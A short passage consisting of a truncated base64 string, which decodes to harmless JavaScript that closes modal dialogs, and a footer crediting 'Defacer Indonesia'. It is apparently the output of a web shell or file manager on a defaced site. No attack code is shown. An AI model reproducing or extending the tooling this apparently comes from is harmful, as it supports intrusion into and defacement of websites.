lDQogICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5tb2RhbCcpLmZvckVhY2goZnVuY3Rpb24obW9kYWwpIHsNCiAgICAgICAgICAgIG1vZGFsLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSkgew0KICAgICAgICAgICAgICAgIGlmKGUudGFyZ2V0ID09PSBtb2RhbCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbC5jbGFzc0xpc3QucmVtb3ZlKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgPC9zY3JpcHQ%2BDQo8L2JvZHk%2BDQo8L2h0bWw%2B
Copyright ©2021 || Defacer Indonesia